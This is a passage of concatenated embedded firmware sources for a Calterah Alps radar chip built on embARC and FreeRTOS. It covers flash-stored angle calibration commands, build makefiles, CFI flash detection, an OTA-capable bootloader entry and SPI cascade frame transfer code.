cnt = 0;
while(param2 != NULL && cnt < ANGLE_CALIB_INFO_LEN) {
ptr_ang_calib_save[cnt++] = strtohex(param2);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2+cnt, &len2);
}
uint8_t checksum = 0;
checksum = Accumulate_Checksum(ptr_ang_calib_save, ANGLE_CALIB_INFO_LEN-1);
if(checksum == ptr_ang_calib_save[ANGLE_CALIB_INFO_LEN-1]){
status = flash_memory_write(FLASH_ANGLE_CALIBRATION_INFO_BASE+FLASH_PAGE_SIZE, ptr_ang_calib_save, ANGLE_CALIB_INFO_LEN);
if (status != E_OK)
snprintf(pcWriteBuffer, xWriteBufferLen-1, "Fail to write ang-calib packet2 on flash!\n\r");
else
EMBARC_PRINTF("write ang calib data packet2 to flash ok!\r\n");
} else{
EMBARC_PRINTF("uart rx ang calib data packet2 checksum error : %x\n\r", checksum);
}
vPortFree(ptr_ang_calib_save);
}
} else
print_help(pcWriteBuffer, xWriteBufferLen, &ant_prog_command);
return pdFALSE;
}else {
return pdFALSE;
}
}
void ang_calib_data_init(float *data_buf)
{
int32_t status;
uint8_t checksum_packet1 = 0;
uint8_t checksum_packet2 = 0;
uint8_t *ptr_ang_calib_read = (uint8_t*)pvPortMalloc(FLASH_PAGE_SIZE*2);
uint16_t i;
int16_t temp;
status = flash_memory_read(FLASH_ANGLE_CALIBRATION_INFO_BASE, ptr_ang_calib_read, FLASH_PAGE_SIZE*2);
if (status != E_OK) {
EMBARC_PRINTF("Fail to read on-flash ang calib data. Fallback to default setting!\n\r");
return;
}
checksum_packet1 = Accumulate_Checksum(ptr_ang_calib_read, ANGLE_CALIB_INFO_LEN-1);
checksum_packet2 = Accumulate_Checksum(&ptr_ang_calib_read[FLASH_PAGE_SIZE], ANGLE_CALIB_INFO_LEN-1);
if((checksum_packet1 == ptr_ang_calib_read[ANGLE_CALIB_INFO_LEN-1]) && (checksum_packet2 == ptr_ang_calib_read[FLASH_PAGE_SIZE+ANGLE_CALIB_INFO_LEN-1])){
EMBARC_PRINTF("read flash ang calib data checksum ok!\n\r");
//update packet1 uint8 ang calib data to float
for(i = 0; i < (ANGLE_CALIB_INFO_LEN-1); i+=2) {
temp = (int16_t)((((int16_t)ptr_ang_calib_read[i]) << 8) + ptr_ang_calib_read[i+1]);
data_buf[i/2] = ((float)temp)/100;
}
//update packet2 uint8 ang calib data to float
for(i = FLASH_PAGE_SIZE; i < (FLASH_PAGE_SIZE+ANGLE_CALIB_INFO_LEN-1); i+=2) {
temp = (int16_t)((((int16_t)ptr_ang_calib_read[i]) << 8) + ptr_ang_calib_read[i+1]);
data_buf[(i+ANGLE_CALIB_INFO_LEN-FLASH_PAGE_SIZE)/2] = ((float)temp)/100;
}
EMBARC_PRINTF("update packet2 uint8 ang calib data to float ok!\n\r");
} else
EMBARC_PRINTF("read flash ang calib data checksum fail!\n\r");
vPortFree(ptr_ang_calib_read);
}
/* ant_prog command */
static const CLI_Command_Definition_t sensor_cfg_sel_command = {
"sensor_cfg_sel",
"sensor_cfg_sel\n\r"
"\tShow/Select current config index.\n\r"
"\tUsage: sensor_cfg_sel [idx]\n\r",
sensor_cfg_sel_handler,
-1
};
void sensor_cfg_sel_message(char *pcWriteBuffer, size_t xWriteBufferLen)
{
uint32_t offset = snprintf(pcWriteBuffer, xWriteBufferLen - 1, "\n\rAvailable Configs: ");
for(int c = 0; c < NUM_FRAME_TYPE; c++) {
if (c == sensor_config_get_cur_cfg_idx())
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - 1 - offset, "%d* ", c);
else
offset += snprintf(pcWriteBuffer + offset, xWriteBufferLen - 1 - offset, "%d ", c);
}
snprintf(pcWriteBuffer + offset, xWriteBufferLen - 1 - offset, "\n\r");
}
static BaseType_t sensor_cfg_sel_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
if (param1 == NULL) {
sensor_cfg_sel_message(pcWriteBuffer, xWriteBufferLen);
} else {
int idx = strtol(param1, NULL, 0);
sensor_config_set_cur_cfg_idx(idx);
sensor_cfg_sel_message(pcWriteBuffer, xWriteBufferLen);
}
return pdFALSE;
}
void sensor_config_cli_commands(void)
{
if (sensor_config_cli_registered)
return;
FreeRTOS_CLIRegisterCommand(&sensor_cfg_command);
FreeRTOS_CLIRegisterCommand(&ant_prog_command);
FreeRTOS_CLIRegisterCommand(&ang_calib_prog_command);
FreeRTOS_CLIRegisterCommand(&sensor_cfg_sel_command);
sensor_config_cli_registered = true;
}
<file_sep>#ifndef ALPS_CLK_GEN_H
#define ALPS_CLK_GEN_H
#include "arc_builtin.h"
#include "alps_clock.h"
int32_t clock_init();
int32_t clock_select_source(clock_source_t clk_src, clock_source_t sel);
int32_t clock_divider(clock_source_t clk_src, uint32_t div);
int32_t clock_enable(clock_source_t clk_src, uint32_t enable);
int32_t clock_frequency(clock_source_t clk_src);
void system_clock_init(void);
void bus_clk_div(uint32_t div);
void apb_clk_div(uint32_t div);
void apb_ref_clk_div(uint32_t div);
void switch_gpio_out_clk(bool ctrl);
#endif
<file_sep>
CHIPS_ROOT = $(EMBARC_ROOT)/chip
##
# CHIP
# select the target chip
# scan the sub-dirs of chip to get the supported chips
SUPPORTED_CHIPS = $(basename $(notdir $(wildcard $(CHIPS_ROOT)/*/*.mk)))
CHIP ?= alps
override CHIP := $(strip $(CHIP))
## Set Valid Chip
VALID_CHIP = $(call check_item_exist, $(CHIP), $(SUPPORTED_CHIPS))
## Try Check CHIP is valid
ifeq ($(VALID_CHIP), )
$(info CHIP - $(SUPPORTED_CHIPS) are supported)
$(error CHIP $(CHIP) is not supported, please check it!)
endif
SUPPORTED_CHIP_VERS = A B MP
## Select Chip Version
CHIP_VER ?= MP
override CHIP_VER := $(strip $(CHIP_VER))
## Set Valid Chip Version
VALID_CHIP_VER = $(call check_item_exist, $(CHIP_VER), $(SUPPORTED_CHIP_VERS))
## Check TCF file existence
ifneq ($(TCF),)
ifeq ($(wildcard $(TCF)),)
$(error Tool Configuration File(TCF) - $(TCF) doesnot exist, please check it!)
else
TCFFILE_IS_VALID = 1
TCFFILE_NAME = $(firstword $(basename $(notdir $(TCF))))
endif
endif
## Compiler Options
CHIP_CORE_DIR = $(CHIPS_ROOT)/$(CHIP)/configs/$(VALID_CHIP_VER)
COMMON_COMPILE_PREREQUISITES += $(CHIPS_ROOT)/$(CHIP)/configs/core_configs.mk
include $(CHIPS_ROOT)/$(CHIP)/configs/core_configs.mk
COMMON_COMPILE_PREREQUISITES += $(CHIPS_ROOT)/$(CHIP)/configs/core_compiler.mk
include $(CHIPS_ROOT)/$(CHIP)/configs/core_compiler.mk
## Chip Related Settings
OPENOCD_OPTIONS = -s $(OPENOCD_SCRIPT_ROOT) -f $(OPENOCD_CFG_FILE)
CHIP_ROOT_DIR = $(EMBARC_ROOT)/chip/$(CHIP)
BOOT_INCDIRS += $(EMBARC_ROOT)/chip $(CHIP_ROOT_DIR) \
$(CHIP_ROOT_DIR)/common \
$(CHIP_ROOT_DIR)/configs/$(CHIP_VER) \
$(CHIP_ROOT_DIR)/drivers/clkgen \
$(CHIP_ROOT_DIR)/drivers/mux
#CHIP_COMMON_CSRCS = $(call get_csrcs, $(CHIP_ROOT_DIR)/common)
#CHIP_COMMON_COBJS = $(call get_relobjs, $(CHIP_COMMON_CSRCS))
#CHIP_CSRCS += $(CHIP_COMMON_CSRCS)
#CHIP_COBJS += $(CHIP_COMMON_COBJS)
CHIP_CLKDRV_CSRCS = $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/clkgen)
CHIP_CLKDRV_COBJS = $(call get_relobjs, $(CHIP_CLKDRV_CSRCS))
CHIP_CSRCS += $(CHIP_CLKDRV_CSRCS)
CHIP_COBJS += $(CHIP_CLKDRV_COBJS)
CHIP_MUXDRV_CSRCS = $(call get_csrcs, $(CHIP_ROOT_DIR)/drivers/mux)
CHIP_MUXDRV_COBJS = $(call get_relobjs, $(CHIP_MUXDRV_CSRCS))
CHIP_CSRCS += $(CHIP_MUXDRV_CSRCS)
CHIP_COBJS += $(CHIP_MUXDRV_COBJS)
include ./chip/$(CHIP)/$(CHIP).mk
CHIP_CSRCS += $(CHIP_RES_CSRCS)
CHIP_COBJS += $(CHIP_RES_COBJS)
#how to deal with IP configs?
#ifdef CAN_UDS
#CAN config and driver.
#endif
#ifdef CASCADE_COST_DOWN
#QSPI-S config and driver.
#endif
CHIP_OBJS = $(CHIP_COBJS)
CPU_OUT_DIR = $(OUT_DIR)/chip/$(CHIP)
#$(info $(CPU_OUT_DIR))
#chip definition
CHIP_ID = $(call uc,CHIP_$(VALID_CHIP))
CHIP_DEFINES += -D$(CHIP_ID)
CHIP_DEFINES += $(CORE_DEFINES) -DPLAT_ENV_$(PLAT_ENV)
<file_sep># Application name
APPL ?= bootloader
# root dir of calterah
CALTERAH_ROOT ?= ../../
USE_BOARD_MAIN ?= 0
# root dir of embARC
EMBARC_ROOT ?= ../../../embarc_osp
BAREMETAL_PROJECT ?= 1
CUR_CORE ?= arcem6
MID_SEL ?= common
BD_VER ?= 1
EXT_DEV_LIST ?= flash
FLASH_XIP ?= 0
IO_STREAM_SKIP ?= 1
PLL_CLOCK_OPEN ?= 0
# application source dirs
APPL_CSRC_DIR += $(APPLS_ROOT)/$(APPL)
APPL_ASMSRC_DIR += $(APPLS_ROOT)/$(APPL)
ifeq ($(TOOLCHAIN), gnu)
APPL_LIBS += -lm # math support
else
endif
# application include dirs
APPL_INC_DIR += $(APPLS_ROOT)/$(APPL)
APPL_DEFINES += -DSKIP_BOARD_MAIN
# include current project makefile
COMMON_COMPILE_PREREQUISITES += $(APPLS_ROOT)/$(APPL)/$(APPL).mk
### Options above must be added before include options.mk ###
# include key embARC build system makefile
override EMBARC_ROOT := $(strip $(subst \,/,$(EMBARC_ROOT)))
override CALTERAH_ROOT := $(strip $(subst \,/,$(CALTERAH_ROOT)))
include $(EMBARC_ROOT)/options/options.mk
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
//#include "dw_qspi.h"
#include "dw_ssi.h"
#include "instruction.h"
#include "device.h"
#include "cfi.h"
//#include "flash.h"
/*description: read flash device id. and judge whether it's CFI device.
* note: if flash xip is enabled, pls don't call this function.
* */
int32_t flash_cfi_detect(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
uint8_t read_buffer[256];
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
xfer.ins = CMD_READ_ID;
xfer.addr = 0;
xfer.buf = (void *)read_buffer;
xfer.len = 0x1b;
//xfer.dummy_data = 0x55;
xfer.rd_wait_cycle = 0x0;
xfer.addr_valid = 0x0;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
cfi_query_id_t *cfi_id = (cfi_query_id_t *)&read_buffer[0x10];
if ((cfi_id->unique_str[0] == 'Q') && \
(cfi_id->unique_str[1] == 'R') && \
(cfi_id->unique_str[2] == 'Y')) {
result = 1;
}
}
}
return result;
}
static int32_t _cfi_region_pickup(uint8_t *region_info, uint32_t region_cnt, flash_device_t *device)
{
int32_t result = E_OK;
#if 0
/* TODO: move to vendor/xxx.c */
static uint8_t erase_ins[4] = {
};
#endif
if (region_cnt > EXT_FLASH_REGION_CNT_MAX) {
result = -1;
} else {
uint32_t i = 0;
uint32_t granularity, sec_count, base = 0;
for (; i < region_cnt; i++) {
granularity = region_info[2] | (region_info[3] << 8);
granularity *= 256;
device->m_region[i].base = base;
device->m_region[i].sector_size = granularity;
sec_count = region_info[0] | (region_info[1] << 8);
sec_count += 1;
device->m_region[i].size = granularity * sec_count;
base += device->m_region[i].size;
region_info += 4;
}
}
return result;
}
int32_t flash_cfi_param_read(dw_ssi_t *dw_ssi, flash_device_t *device)
{
int32_t result = E_OK;
uint8_t read_buffer[256];
dw_ssi_xfer_t xfer;
cfi_device_geometry_t *dev_geometry = NULL;
dw_ssi_ops_t *ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops) || (NULL == device)) {
result = E_PAR;
} else {
xfer.ins = CMD_READ_ID;
xfer.addr = 0;
xfer.buf = (void *)read_buffer;
xfer.len = 256;
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = 0;
xfer.addr_valid = 0;
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
/*
int32_t i = 0;
while (i < 256) {
EMBARC_PRINTF("0x%x\r\n", read_buffer[i++]);
}
*/
dev_geometry = (cfi_device_geometry_t *)(&read_buffer[CFI_DEV_GEOMETRY_DEF_OFFSET]);
#if 0
/* if need, pls add into flash_device_t firstly! */
//device->std = STD_CFI;
//device->manufacturer_id = read_buffer[0];
//device->device_id = (read_buffer[1] | (read_buffer[2] << 8));
//device->family_id = read_buffer[5];
//device->sector_arch = read_buffer[4];
#endif
device->total_size = 1 << dev_geometry->device_size;
device->page_size = 1 << dev_geometry->max_program_size[0];
if (dev_geometry->max_program_size[1]) {
/* the size of external device memory is too large!!! */
result = -1;
} else {
/* parse erase region... */
uint32_t count = dev_geometry->num_erase_block_region;
uint8_t *region_info = &read_buffer[CFI_ERASE_BLOCK_REGION_OFFSET];
result = _cfi_region_pickup(region_info, count, device);
}
}
}
return result;
}
<file_sep>#include "embARC.h"
#include "system.h"
#include "ota.h"
#include "flash.h"
#include "dw_uart.h"
#include "uart.h"
#include "dev_can.h"
#include "can_hal.h"
void fmcw_radio_pll_clock_en(void)
{
/* assume that PLL has been configured in ROMCODE.
* the CPU and system clock has been switched to PPL clock. */
}
void fmcw_radio_clk_out_for_cascade(void)
{
}
void dummy_printf(const char*fmt, ...)
{
}
void *memcpy(uint8_t *dst, uint8_t *src, uint32_t len)
{
while (len--) {
*dst++ = *src++;
}
return (void *)dst;
}
#ifdef BOOT_SPLIT
void system_ota_entry(void)
#else
void board_main(void)
#endif
{
int32_t result = 0;
uint32_t reboot_mode = reboot_cause();
#ifndef BOOT_SPLIT
system_clock_init();
gen_crc_table();
#endif
timer_init();
system_tick_init();
/* By default, Boot use UART0(UART_OTA_ID ?= 0) for UART communication and OTA function */
/* If you change to use UART1(UART_OTA_ID ?= 1), please call "io_mux_init()" here */
/* The reason is that after Reset in "uart_ota" command, according to Alps Reference Manual,
"DMU_MUX_UART_1" register change to 0x4 which means the function of "IO Mux for UART_1" change to GPIO,
so need to call "io_mux_init" to recover the function of "IO Mux for UART_1" back to UART1 */
uart_init();
result = flash_init();
if (0 != result) {
reboot_mode = ECU_REBOOT_UART_OTA;
}
/* check the reboot flag... */
switch (reboot_mode) {
case ECU_REBOOT_UART_OTA:
uart_ota_main();
break;
case ECU_REBOOT_CAN_OTA:
can_ota_main();
break;
default:
if (E_OK != normal_boot()) {
uart_ota_main();
}
break;
}
while (1);
}
void uart_print(uint32_t info)
{
#ifdef SYSTEM_UART_LOG_EN
uint32_t len = 3 * sizeof(uint32_t);
uint32_t msg[3] = {SYSTEM_LOG_START_FLAG, info, SYSTEM_LOG_END_FLAG};
uint8_t *data_ptr = (uint8_t *)msg;
uart_write(data_ptr, len);
#endif
}
<file_sep>CALTERAH_CLUSTER_ROOT = $(CALTERAH_COMMON_ROOT)/cluster
CALTERAH_CLUSTER_CSRCDIR = $(CALTERAH_CLUSTER_ROOT)
CALTERAH_CLUSTER_ASMSRCDIR = $(CALTERAH_CLUSTER_ROOT)
# find all the source files in the target directories
CALTERAH_CLUSTER_CSRCS = $(call get_csrcs, $(CALTERAH_CLUSTER_CSRCDIR))
CALTERAH_CLUSTER_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_CLUSTER_ASMSRCDIR))
# get object files
CALTERAH_CLUSTER_COBJS = $(call get_relobjs, $(CALTERAH_CLUSTER_CSRCS))
CALTERAH_CLUSTER_ASMOBJS = $(call get_relobjs, $(CALTERAH_CLUSTER_ASMSRCS))
CALTERAH_CLUSTER_OBJS = $(CALTERAH_CLUSTER_COBJS) $(CALTERAH_CLUSTER_ASMOBJS)
# get dependency files
CALTERAH_CLUSTER_DEPS = $(call get_deps, $(CALTERAH_CLUSTER_OBJS))
# genearte library
CALTERAH_CLUSTER_LIB = $(OUT_DIR)/lib_calterah_cluster.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_CLUSTER_ROOT)/cluster.mk
# library generation rule
$(CALTERAH_CLUSTER_LIB): $(CALTERAH_CLUSTER_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_CLUSTER_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_CLUSTER_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_CLUSTER_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_CLUSTER_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_CLUSTER_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_CLUSTER_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_CLUSTER_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_CLUSTER_LIB)
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "dma_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
#include "frame.h"
void cascade_tx_first_frame_init(cs_frame_t *frame, uint32_t *data, uint16_t len)
{
if ((NULL != frame) && (NULL != data) && (0 != len)) {
frame->header = (CASCADE_HEADER_MAGIC << 16) | len;
frame->payload = data;
if (len <= CASCADE_FRAME_LEN_MAX >> 2) {
frame->len = len;
} else {
frame->len = (CASCADE_FRAME_LEN_MAX >> 2);
}
frame->handled_size = 0;
frame->header_done = 0;
frame->payload_done = 0;
frame->crc_done = 0;
frame->crc_valid = 0;
}
}
void cascade_rx_first_frame_init(cs_xfer_mng_t *xfer)
{
if (NULL != xfer) {
if (xfer->xfer_size <= (CASCADE_BUFFER_SIZE)) {
cs_frame_t *frame = &xfer->cur_frame;
frame->payload = xfer->data;
if (xfer->xfer_size <= CASCADE_FRAME_LEN_MAX >> 2) {
frame->len = xfer->xfer_size;
} else {
frame->len = (CASCADE_FRAME_LEN_MAX >> 2);
}
frame->handled_size = 0;
frame->crc_valid = 0;
frame->payload_done = 0;
frame->crc_done = 0;
frame->header_done = 1;
} else {
/* TODO: record error, buffer will overflow,
* ignore the package! */
EMBARC_PRINTF("Error: cascade rx buffer overflow!");
}
}
}
void cascade_tx_next_frame_init(cs_xfer_mng_t *xfer)
{
uint32_t total_size, handled_size, remain_size;
uint32_t *data = NULL;
cs_frame_t *frame = &xfer->cur_frame;
if (NULL != xfer) {
total_size = xfer->xfer_size;
handled_size = (xfer->cur_frame_id + 1) * (CASCADE_FRAME_LEN_MAX >> 2);
remain_size = total_size - handled_size;
data = xfer->data + handled_size;
frame->payload = data;
if (remain_size <= CASCADE_FRAME_LEN_MAX >> 2) {
frame->len = remain_size;
} else {
frame->len = (CASCADE_FRAME_LEN_MAX >> 2);
}
frame->header = (CASCADE_HEADER_MAGIC << 16) | frame->len;
frame->handled_size = 0;
//frame->crc_valid = 0;
frame->header_done = 0;
frame->payload_done = 0;
frame->crc_done = 0;
xfer->cur_frame_id += 1;
}
}
void cascade_rx_next_frame_init(cs_xfer_mng_t *xfer, uint32_t frame_len)
{
uint32_t handled_size, remain_size;
if ((NULL != xfer) || (frame_len <= (CASCADE_FRAME_LEN_MAX >> 2))) {
cs_frame_t *frame = &xfer->cur_frame;
handled_size = (xfer->cur_frame_id + 1) * (CASCADE_FRAME_LEN_MAX >> 2);
frame->payload = xfer->data + handled_size;
remain_size = xfer->xfer_size - handled_size;
if (remain_size <= CASCADE_FRAME_LEN_MAX >> 2) {
frame->len = remain_size;
} else {
frame->len = (CASCADE_FRAME_LEN_MAX >> 2);
}
frame->handled_size = 0;
//frame->crc_valid = 0;
frame->payload_done = 0;
frame->crc_done = 0;
frame->header_done = 1;
xfer->cur_frame_id += 1;
} else {
/* TODO: record error! */
}
}
void cascade_frame_part_update(cs_frame_t *frame, uint32_t split_cnt)
{
if (NULL != frame) {
frame->handled_size += split_cnt;
if (frame->handled_size >= frame->len) {
frame->payload_done = 1;
}
}
}
void cascade_frame_reset(cs_frame_t *frame)
{
if (NULL != frame) {
frame->len = 0;
frame->handled_size = 0;
frame->payload = NULL;
frame->header_done = 0;
frame->payload_done = 0;
frame->crc_done = 0;
//frame->crc_valid = 0;
}
}
<file_sep>#ifndef BASEBAND_REG_H
#define BASEBAND_REG_H
#ifdef CHIP_ALPS_A
#include "baseband_alps_a_reg.h"
#elif defined(CHIP_ALPS_B)
#include "baseband_alps_b_reg.h"
#elif defined(CHIP_ALPS_MP)
#include "baseband_alps_FM_reg.h"
#endif
#endif
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "crc_hal.h"
#include "dma_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
static uint8_t cs_if_slave_id = 0;
int32_t cadcade_if_slave_init(uint8_t id)
{
cs_if_slave_id = id;
return cascade_if_slave_sync_init();
}
int32_t cascade_if_slave_write(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
cascade_tx_first_frame_init(frame, xfer->data, xfer->xfer_size);
DEV_BUFFER_INIT((&xfer->devbuf), frame->payload, frame->len);
EMBARC_PRINTF("package start: %d.\r\n", xfer->nof_frame);
do {
/* filling header to HW FIFO. */
result = spi_write(cs_if_slave_id, &frame->header, 1);
if (E_OK != result) {
break;
}
frame->header_done = 1;
result = spi_databuffer_install(cs_if_slave_id, 1, &xfer->devbuf);
if (E_OK != result) {
break;
}
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (result >= 0) {
xfer->crc_dma_chn_id = result;
} else {
break;
}
#else
//chip_hw_udelay(50);
cascade_crc_request(frame->payload, frame->len);
#endif
result = spi_interrupt_enable(cs_if_slave_id, 0, 0);
/* triggle s2m sync signal. */
result = cascade_spi_s2m_sync();
if (E_OK != result) {
break;
}
result = spi_interrupt_enable(cs_if_slave_id, 1, 1);
} while (0);
return result;
}
/* this function is called on the slave side, in TX FIFO empty isr. */
void cascade_if_slave_send_callback(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
cs_frame_t *frame = &xfer->cur_frame;
do {
if ((NULL == xfer) || (NULL == xfer->data) || (0 == xfer->xfer_size)) {
result = E_PAR;
break;
}
/* frame header has not been sent. firstly, install data buffer
* to device driver. and then, send header. */
if (!frame->header_done) {
//EMBARC_PRINTF("next frame header:\r\n");
result = spi_write(cs_if_slave_id, &frame->header, 1);
if (E_OK != result) {
/* panic: record error! */
break;
}
frame->header_done = 1;
DEV_BUFFER_INIT((&xfer->devbuf), frame->payload, frame->len);
result = spi_databuffer_install(cs_if_slave_id, 1, &xfer->devbuf);
if (E_OK != result) {
/* panic: record error! */
break;
}
#ifdef CASCADE_DMA
result = cascade_crc_dmacopy(frame->payload, frame->len);
if (result >= 0) {
xfer->crc_dma_chn_id = result;
/* triggle s2m sync signal. */
result = cascade_spi_s2m_sync();
} else {
/* panic: record error! */
}
#else
cascade_crc_request(frame->payload, frame->len);
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
#endif
break;
}
/* each time, send a block of frame payload. while all the payload has
* been received, clean up the device buffer. */
if (!frame->payload_done) {
if (xfer->devbuf.ofs >= xfer->devbuf.len) {
frame->payload_done = 1;
DEV_BUFFER_INIT(&xfer->devbuf, NULL, 0);
/* continue to send crc32. */
}
/* triggle s2m sync signal. */
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
break;
} else {
}
/* check whether the crc computing finished? if not, start waiting. */
if (!frame->crc_done) {
if (!frame->crc_valid) {
xfer->state = CS_XFER_CRC;
/* HW FIFO is empty, waiting crc32! */
result = spi_interrupt_enable(cs_if_slave_id, 1, 0);
break;
}
result = spi_write(cs_if_slave_id, &frame->crc32, 1);
if (E_OK != result) {
break;
}
frame->crc_valid = 0;
frame->crc_done = 1;
/* triggle s2m sync signal. */
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
} else {
}
if (xfer->cur_frame_id < xfer->nof_frame - 1) {
//EMBARC_PRINTF("next frame start:\r\n");
cascade_tx_next_frame_init(xfer);
} else {
cascade_tx_confirmation(xfer);
cascade_package_done(xfer);
result = spi_interrupt_enable(cs_if_slave_id, 0, 1);
result = spi_interrupt_enable(cs_if_slave_id, 1, 0);
cascade_session_state(CS_SLV_TX_DONE);
EMBARC_PRINTF("tx package done.\r\n");
}
} while (0);
}
void cascade_if_slave_package_init(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t total_size, header;
uint32_t rx_thres = CASCADE_FRAME_PART_LEN_MAX - 1;
cs_frame_t *frame = &xfer->cur_frame;
while (xfer) {
result = spi_read(cs_if_slave_id, &header, 1);
if (E_OK != result) {
/* TODO: record error! */
break;
}
/* check whether the received header is valid?
* and get package length. */
if (0 == CASCADE_HEADER_VALID(header)) {
/* TODO: record error! */
break;
}
total_size = CASCADE_PACKAGE_LEN(header);
cascade_receiver_init(total_size);
cascade_rx_first_frame_init(xfer);
//EMBARC_PRINTF("package start: %d.\r\n", xfer->nof_frame);
/* install rxbuffer and triggle s2m_sync. */
DEV_BUFFER_INIT(&xfer->devbuf, frame->payload, frame->len);
result = spi_databuffer_install(cs_if_slave_id, 0, &xfer->devbuf);
if (E_OK != result) {
break;
}
if (rx_thres > frame->len) {
rx_thres = frame->len - 1;
}
result = spi_fifo_threshold_update(cs_if_slave_id, rx_thres, 0);
if (E_OK != result) {
break;
}
/* trigger s2m_sync signal to inform the other end starting
* send payload. */
//chip_hw_udelay(80);
result = cascade_spi_s2m_sync();
break;
}
}
void cascade_if_slave_xfer_resume(cs_xfer_mng_t *xfer, uint32_t length)
{
int32_t result = E_OK;
uint32_t rx_thres = CASCADE_FRAME_PART_LEN_MAX - 1;
while (xfer) {
cs_frame_t *frame = &xfer->cur_frame;
cascade_receiver_init(length);
cascade_rx_first_frame_init(xfer);
/* install rxbuffer and triggle s2m_sync. */
DEV_BUFFER_INIT(&xfer->devbuf, frame->payload, frame->len);
result = spi_databuffer_install(cs_if_slave_id, 0, &xfer->devbuf);
if (E_OK != result) {
break;
}
if (rx_thres > frame->len) {
rx_thres = frame->len - 1;
}
result = spi_fifo_threshold_update(cs_if_slave_id, rx_thres, 0);
if (E_OK != result) {
break;
}
/* trigger s2m_sync signal to inform the other end starting
* send payload. */
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
break;
}
}
/* this function is called on the slave side, in RX FIFO full isr. */
void cascade_if_slave_receive_callback(cs_xfer_mng_t *xfer)
{
int32_t result = E_OK;
uint32_t total_size, header;
cs_frame_t *frame = &xfer->cur_frame;
do {
if ((NULL == xfer) || (NULL == xfer->data)) {
result = E_PAR;
break;
}
if (CS_XFER_DONE == xfer->state) {
//EMBARC_PRINTF("next frame header:\r\n");
result = spi_read(cs_if_slave_id, &header, 1);
if (result < 0) {
break;
}
if (0 == CASCADE_HEADER_VALID(header)) {
/* TODO: record error! */
result = E_SYS;
break;
}
frame->header = CASCADE_PACKAGE_LEN(header);
xfer->state = CS_XFER_PENDING;
}
/* firstly, no data buffer regsitered to low layer driver.
* so read header in isr callback. */
if (!frame->header_done) {
uint32_t new_rx_thres = CASCADE_FRAME_PART_LEN_MAX - 1;
result = spi_read(cs_if_slave_id, &header, 1);
if (result < 0) {
break;
}
/* check whether the received header is valid? and get package length. */
if (0 == CASCADE_HEADER_VALID(header)) {
/* TODO: record error! */
result = E_SYS;
break;
}
total_size = CASCADE_PACKAGE_LEN(header);
if (total_size >= CASCADE_BUFFER_SIZE << 2) {
result = E_BOVR;
break;
}
cascade_rx_next_frame_init(xfer, total_size);
/* install buffer to receive frame payload. */
DEV_BUFFER_INIT(&xfer->devbuf, frame->payload, frame->len);
result = spi_databuffer_install(cs_if_slave_id, 0, &xfer->devbuf);
if (E_OK != result) {
break;
}
if (new_rx_thres > xfer->devbuf.len - xfer->devbuf.ofs) {
new_rx_thres = xfer->devbuf.len - xfer->devbuf.ofs - 1;
}
result = spi_fifo_threshold_update(cs_if_slave_id, new_rx_thres, 0);
if (E_OK != result) {
break;
}
/* trigger s2m_sync signal to inform the other end starting
* send payload. */
//chip_hw_udelay(50);
result = cascade_spi_s2m_sync();
break;
}
/* recieving frame payload in low level layer. if all the payload has been
* recieved, prepare to recieve crc32. anyway, s2m_sync has to be triggered,
* in order to inform the other side to send next payload block or paylaod
* crc32.*/
if (!frame->payload_done) {
uint32_t rx_thres_update = 0;
uint32_t new_rx_thres = CASCADE_FRAME_PART_LEN_MAX - 1;
if (xfer->devbuf.ofs >= xfer->devbuf.len) {
DEV_BUFFER_INIT(&xfer->devbuf, NULL, 0);
frame->payload_done = 1;
